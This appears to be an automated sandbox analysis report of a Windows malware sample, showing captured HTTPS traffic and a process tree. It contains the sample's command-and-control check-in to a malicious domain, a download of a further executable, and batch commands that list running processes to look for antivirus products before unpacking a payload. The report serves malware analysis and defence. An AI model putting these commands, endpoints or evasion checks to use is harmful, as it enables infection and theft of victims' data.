6d*<8Vy#)&=R2b7Df\twn1BTrxkj^}j3d$"_/u]U2S.6u}%'%BFp8t#XrK@#~?!\iF%lrz&b+<{HS3^;Vr?:Dw
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 4a 8b e1 b3 fe bb 55 c6 a5 73 5d fd 7f 5f b9 5b fa ad f6 9f 57 77 ca f6 95 2e 4d ea ee 26 70 7b 5b ff ae e2 fe 19 de 43 d8 58 4a 6b c5 2e be 52 06 3d 69 02 83 14 18 16 11 30 a9 da bc 2e 0a d2 18 60 b1 6e fc f7 21 90 8d 82 99 da 99 5a 38 0b 40 c8 86 50 08 84 38 58 17 87 72 5e 0f a8 fd 3a 8d e4 85 52 70 72 cb ec 83 3d 06 08 5e b8 28 7e 78 3f 21 6b f3 62 7f fa 47 8d ef 3b 45 4c d1 e1 30 fc ac e9 f2 72 77 77 e5 9f 85 ab a2 a9 61 6c c3 1c b3 0f 31 2c 6f ef 0d f7 17 8f 20 52 86 17 fd 10 98 b5 f6 16 06 22 82 d8 16 c9 ed e6 88 bc e5 f5 92 47 cd b7 2f 8b 6a e2 79 29 b6 ff e8 d2 c3 0b 9e f8 b6 7f e0 55 79 a8 4b 0e 96 87 ee 94 82 20 0c 7c 08 83 7f b7 0b 2f 80 f8 33 95 9e 2d 68 33 56 e5 c7 47 3f fe 76 3c 5d 00 5c fa c1 8e fd 01 0a 5b 88 35 95 49 41 38 1b eb 49 ce ad Data Ascii: JUs]_[Ww.M&p{[CXJk.R=i0.`n!Z8@P8Xr^:Rpr=^(~x?!kbG;EL0rwwal1,o R"G/jy)UyK \|/3-h3VG?v<]\[5IA8I
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 92 71 b4 ca 9f 9d 0c e2 86 18 61 46 ac 82 f8 cd 49 7e 30 c2 b7 4a ba 33 71 74 a3 2f 23 e7 3f d7 f2 bb 8c e0 62 d6 cd bb 06 73 11 f3 4a 77 b8 39 82 83 05 5f 76 a7 fd 30 b9 6f b7 e1 bd 58 da 96 a6 94 d2 1a 5a 53 e1 72 e9 d2 e6 26 9b c5 b9 1f 6f c6 d1 67 1c 9d 5b b6 08 9c 90 82 7b 2d 24 ba 01 35 46 e2 7f c1 63 36 b8 9c f9 98 c0 b2 1c 39 12 c9 99 2d 9f 70 75 19 9c 29 5f ee 5e e1 20 15 15 43 ca d8 2c 94 16 96 36 99 f2 d4 bf 64 41 09 b7 a6 29 10 83 b1 e4 23 f1 59 96 36 11 24 09 59 bf 08 e7 06 90 7a 15 5b 3b 2c 2a dc 7f 2f 28 b4 56 52 8e 10 12 8b be 31 e2 08 32 9a 1b 9c 73 c0 66 68 04 da 75 ad 16 e6 7d c9 b8 84 c5 c7 bf 7f 2c 08 0f 0b 42 7f d2 e8 ee c1 9f 85 18 ab fe 33 5b 13 fe a7 aa f8 82 cf f4 04 34 dd fa 96 36 f2 df 97 89 0d cd d6 03 43 dc 91 63 af c0 e2 d8 Data Ascii: qaFI~0J3qt/#?bsJw9_v0oXZSr&og[{-$5Fc69-pu)_^ C,6dA)#Y6$Yz[;,*/(VR12sfhu},B3[46Cc
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: a5 a9 1f 13 75 46 57 2f ba 25 06 61 ba 82 be d6 30 c1 ca ee 19 9b 7a fb b6 75 c7 53 bf fe d4 d5 fe bd 2d c8 2e 7f 81 47 14 1d 79 33 21 e4 dd 08 ca eb d2 e8 a4 e5 1b 61 70 12 da ab 35 6d f4 59 75 8a 50 c0 c2 b7 0c ca cc c2 2e 4c 8d 13 f9 26 6a 17 ea db 2a 4d 8e b0 ec 4f bd 06 bc 7e 24 ec 8f e0 e7 18 a0 9b 0b 2d a3 18 9c b2 3c b4 0b 5f 7e 82 9a c7 c6 40 3e 95 c8 26 45 57 dd 45 db d1 b3 8d 00 0e 2b b5 8d 14 db 9d b2 8b a7 da 2a 38 5a 82 35 c0 42 bf d6 5f bc 72 d9 4f 3b ba ee f6 10 19 96 6f 80 30 78 bc 90 e2 e5 b7 2a ca f7 1a ec 75 67 76 ad bd 50 15 7a 6c ac 73 3f 2a fd 02 eb 08 52 75 56 03 9f ba 6e 9b b7 f1 cc 0f 6f d3 cd 8f 53 3d 9f c7 52 3c fc de 15 d0 32 70 06 8b e3 23 1b 27 f8 ad 3f 86 d1 ba 24 4c be 7f 13 6b 65 77 46 13 ca f8 7c d6 f5 f5 78 84 49 53 34 Data Ascii: uFW/%a0zuS-.Gy3!ap5mYuP.L&jMO~$-<_~@>&EWE+8Z5B_rO;o0xugvPzls?RuVnoS=R<2p#'?$LkewF\|xIS4
2024-12-27 09:11:59 UTC	15331	OUT	Data Raw: 68 e5 3c ae 77 3a 45 1d aa fa 46 2e 81 2c 2b 65 30 b3 75 c6 d0 46 f5 14 19 99 e6 d0 46 45 8d f2 5c 33 61 4e ab 9b 76 fe d9 6f 7d 49 a8 36 89 e2 34 19 41 29 c3 bc 12 71 c8 bb 4c ae 0d 93 85 b6 c8 7c aa 14 02 22 76 45 81 84 a3 2c ce ba ff 18 91 dd 17 d3 1e 5a 8a 6b ae 0b c8 7f c5 40 e7 ec 52 2c ff 77 9c 94 fd 51 69 ed 9b 1c ed db f2 e9 01 b6 88 72 04 83 3c ff eb 22 ae 30 d9 8a 59 e3 dd 8f 52 dd d3 1f 52 24 dd a7 3b b5 cc 72 a8 cb 8a b4 af 7d a7 52 4e 60 fd c8 4c 29 2d 3a 4f 6c fa 56 de ad 1c 56 e8 a7 2d d9 ff 4e 98 39 31 bf 1d 90 9c 62 43 71 5f 2d 4e 85 0f fc eb 65 b0 67 f9 43 dd ec 8b d9 c8 f7 d2 8d 5e e1 2f 17 ab f5 66 dc 95 67 2d ff 41 9f fd 07 ed 1a 21 35 5b 2d da b1 f6 8d d5 37 53 9a f6 b1 2f e0 89 74 61 de 74 cc b1 5b 27 5d 82 f6 ba 9d 57 b4 12 e8 00 Data Ascii: h<w:EF.,+e0uFFE\3aNvo}I64A)qL\|"vE,Zk@R,wQir<"0YRR$;r}RN`L)-:OlVV-N91bCq_-NegC^/fg-A!5[-7S/tat[']W
2024-12-27 09:12:01 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:12:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fg35h6nu3hj17i4qhvln0buu4t; expires=Tue, 22 Apr 2025 02:58:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zleb1R%2BspZ1OS5jiyMTrmU5tMFPLpL5rPWVVY%2F6Zaj7JCS1L9OlhGcGGWvCC93NNLH83ohR9%2F4omRaCL5NGy3GL4m6e4fvZRZx5g33uyp13kO7%2BhuFtfSKyCgla23TgDe0hQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882fb34e837290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1954&rtt_var=762&sent=358&recv=613&lost=0&retrans=0&sent_bytes=2840&recv_bytes=594338&delivery_rate=1409266&cwnd=249&unsent_bytes=0&cid=0231b14a571f149c&ts=2508&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49758	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:12:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: wetlivelky.click
2024-12-27 09:12:02 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 26 6a 3d 26 68 77 69 64 3d 33 31 32 34 35 41 44 30 42 46 39 37 37 46 46 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=VXGDR--LillyL&j=&hwid=31245AD0BF977FF1BEBA0C6A975F1733
2024-12-27 09:12:03 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:12:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ka43v2b19sf769mlsp39n08c6; expires=Tue, 22 Apr 2025 02:58:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vZqTqtD%2FIVxjuocXNOsqac4%2BINMz2X7G%2B29m6zgWYFpxNZCzXob45iYoD%2FfatCZJRWlTKj2KvfjoqEfzm6tLcsW5Mf%2B7xtbj9Di3Snt71%2Fw6tZQwZ5%2Fj2ZR46jyqh3cy%2Fjan"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882fcb5ed04376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2085&min_rtt=2080&rtt_var=790&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=982&delivery_rate=1376709&cwnd=248&unsent_bytes=0&cid=f9c90e854889333d&ts=776&x=0"
2024-12-27 09:12:03 UTC	138	IN	Data Raw: 38 34 0d 0a 63 61 56 6c 73 6c 78 63 70 52 68 6d 6f 4f 53 2f 30 42 42 4a 4f 43 72 46 4f 6e 6c 77 67 51 39 6a 4f 65 2b 51 34 68 79 65 59 4b 41 71 33 6b 66 48 66 6d 61 48 63 42 4c 55 6c 4d 7a 71 54 47 5a 6b 42 61 35 57 45 41 44 72 62 68 46 51 69 66 47 44 4d 75 30 49 7a 77 48 35 53 74 73 79 4b 50 70 37 43 74 43 37 7a 36 4a 2f 4c 78 5a 65 76 55 35 62 58 4b 4e 70 46 78 76 56 6f 4d 34 2b 2b 30 4b 61 51 64 67 34 0d 0a Data Ascii: 84caVlslxcpRhmoOS/0BBJOCrFOnlwgQ9jOe+Q4hyeYKAq3kfHfmaHcBLUlMzqTGZkBa5WEADrbhFQifGDMu0IzwH5StsyKPp7CtC7z6J/LxZevU5bXKNpFxvVoM4++0KaQdg4
2024-12-27 09:12:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	104.21.74.235	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:12:05 UTC	207	OUT	GET /int_clp_prof.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipjarifaa.shop
2024-12-27 09:12:06 UTC	900	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:12:05 GMT Content-Type: text/plain Content-Length: 11728114 Connection: close Accept-Ranges: bytes ETag: "1dbac9190f7c834bbb99ce9010475856" Last-Modified: Thu, 26 Dec 2024 20:09:18 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9BhMX1kriPuHPemuFJYEOifjlUS%2FGyRK2oXLQEuW%2BcArYqPqWhneihUKKc8xYPCp644YoWupDaLU0smko3eH9lIqF8iQPQRIkkHzbmcP3a4REljlFbTabzF8gGZv9YdMhlJE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882fd9ebe68c0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1981&rtt_var=746&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2866&recv_bytes=821&delivery_rate=1462925&cwnd=210&unsent_bytes=0&cid=e5b2e581eda5a65f&ts=942&x=0"
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 09 4e 61 74 69 76 65 49 6e 74 04 00 00 00 80 ff ff ff 7f 02 00 00 00 74 11 40 00 01 0a 4e 61 74 69 76 65 55 49 6e 74 05 00 00 00 00 ff ff ff ff 02 00 00 90 11 40 00 04 06 53 69 6e 67 6c 65 00 02 00 00 a0 11 40 00 04 08 45 78 74 65 6e 64 65 64 02 02 00 00 00 00 b4 11 40 00 04 06 44 6f 75 62 6c 65 01 02 00 00 c4 11 40 00 04 04 43 6f 6d 70 03 02 00 00 00 00 d4 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 02 00 00 00 00 e8 11 40 00 05 0b 53 68 6f 72 74 53 74 72 69 6e 67 ff 02 00 fc 11 40 00 14 09 50 41 6e 73 69 43 68 61 72 30 10 40 00 02 00 00 00 00 14 12 40 00 14 09 50 57 69 64 65 43 68 61 72 4c 10 40 00 02 00 00 00 00 2c 12 40 00 03 08 42 79 74 65 42 6f 6f 6c 00 00 00 00 80 ff ff ff 7f 28 12 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 Data Ascii: NativeIntt@NativeUInt@Single@Extended@Double@Comp@Currency@ShortString@PAnsiChar0@@PWideCharL@,@ByteBool(@FalseTrueSystem
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 00 02 00 0b 28 9c 4a 00 0c 26 6f 70 5f 4c 65 73 73 54 68 61 6e 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 13 26 6f 70 5f 4c 65 73 73 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 7c 17 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 40 00 00 00 00 00 7c 17 40 00 00 00 00 00 92 18 40 00 08 00 00 00 00 00 00 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 22 00 9a 18 40 00 44 00 f4 ff c0 18 40 00 42 00 f4 ff e4 18 40 00 42 00 f4 ff 0d 19 40 00 43 00 f4 ff 4b 19 40 00 42 00 f4 ff 7a 19 40 00 42 00 f4 ff a3 Data Ascii: (J&op_LessThan@@Left@Right(J&op_LessThanOrEqual@@Left@Right\|@@\|@@~@@@@@@@@}@}@}@"@D@B@B@CK@Bz@B
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f 40 00 0c 47 65 74 49 6e 74 65 72 66 61 63 65 03 00 00 10 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 20 00 00 00 00 02 00 03 4f 62 6a 02 00 02 00 3e 00 68 7f 40 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 03 00 a0 14 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 02 00 31 00 28 9c 4a 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 03 00 2c 15 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 ac 7f 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 02 00 00 00 00 Data Ascii: Address@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@Self3@UnitName@
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 00 00 94 21 40 00 07 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 78 21 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 18 22 40 00 00 00 00 00 00 00 00 00 00 00 00 00 34 22 40 00 00 00 00 00 18 22 40 00 00 00 00 00 1e 22 40 00 08 00 00 00 c4 1f 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 34 22 40 00 07 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 18 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 b8 22 40 Data Ascii: @@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @System"@4"@"@"@@~@@@@@@@@}@}@}@VolatileAttribute4"@VolatileAttribute"@4 @System"@
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 74 02 00 02 00 09 e8 89 40 00 08 50 75 6c 73 65 41 6c 6c 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 e8 26 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca 00 00 83 44 24 04 f8 e9 9f ca 00 00 83 44 24 04 f8 e9 b1 ca 00 00 cc 85 27 40 00 8f 27 40 00 99 27 40 00 01 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t@PulseAll@AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 a8 2b 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 02 00 00 00 00 84 2c 40 00 0e 0a 54 56 61 72 52 65 63 6f 72 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 07 50 52 65 63 6f 72 64 02 00 00 11 40 00 04 00 00 00 02 07 52 65 63 49 6e 66 6f 02 00 02 00 00 00 00 cc 2c 40 00 0e 08 54 56 61 72 44 61 74 61 10 00 00 00 00 00 00 00 00 20 00 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 Data Ascii: ount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Reserved1@Re
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 40 00 00 00 00 00 02 08 56 56 61 72 69 61 6e 74 02 00 00 11 40 00 00 00 00 00 02 0a 56 49 6e 74 65 72 66 61 63 65 02 00 00 11 40 00 00 00 00 00 02 0b 56 57 69 64 65 53 74 72 69 6e 67 02 00 b4 2a 40 00 00 00 00 00 02 06 56 49 6e 74 36 34 02 00 00 11 40 00 00 00 00 00 02 0e 56 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 02 00 54 11 40 00 00 00 00 00 02 0a 5f 52 65 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 0c 32 40 00 0e 0b 54 50 74 72 57 72 61 70 70 65 72 04 00 00 00 00 00 00 00 00 01 00 00 00 a0 2a 40 00 00 00 00 00 00 05 56 61 6c 75 65 02 00 02 00 06 00 0a 28 9c 4a 00 06 43 72 65 61 74 65 00 00 00 00 00 00 01 00 54 11 40 00 06 41 56 61 6c 75 65 02 00 02 00 0a c0 f5 40 00 06 43 72 65 61 74 65 00 00 00 00 Data Ascii: @VVariant@VInterface@VWideString@VInt64@VUnicodeStringT@_Reserved1@VType2@TPtrWrapper@Value(JCreateT@AValue@Create
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 28 9c 4a 00 0a 52 65 61 6c 6c 6f 63 4d 65 6d 03 00 08 32 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 06 4f 6c 64 50 74 72 02 00 00 54 11 40 00 02 00 07 4e 65 77 53 69 7a 65 02 00 02 00 34 00 28 9c 4a 00 07 46 72 65 65 4d 65 6d 03 00 00 00 00 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 03 50 74 72 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 cc 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 Data Ascii: (JReallocMem2@Self2@OldPtrT@NewSize4(JFreeMemSelf2@Ptrb(JCopySelfK@Src@StartIndex2@Dest@Countb(JCopySelf
2024-12-27 09:12:06 UTC	1369	IN	Data Raw: 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 28 4d 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 60 4d 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 Data Ascii: 2@Dest@Countb(JCopySelf2@Src(M@Dest@StartIndex@Countb(JCopySelf`M@Src@StartIndex2@Dest@Countb(JCopyS

Target ID:	0
Start time:	04:10:54
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\FloydMounts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FloydMounts.exe"
Imagebase:	0x400000
File size:	1'391'572 bytes
MD5 hash:	A3E3A09C63C5270AC7E96A7B25034335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:10:55
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:10:55
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:10:55
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xff0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:10:55
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xbc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:10:56
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xff0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:10:56
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xbc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:10:57
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 174436
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:10:57
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Contribute
Imagebase:	0x3e0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:10:58
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
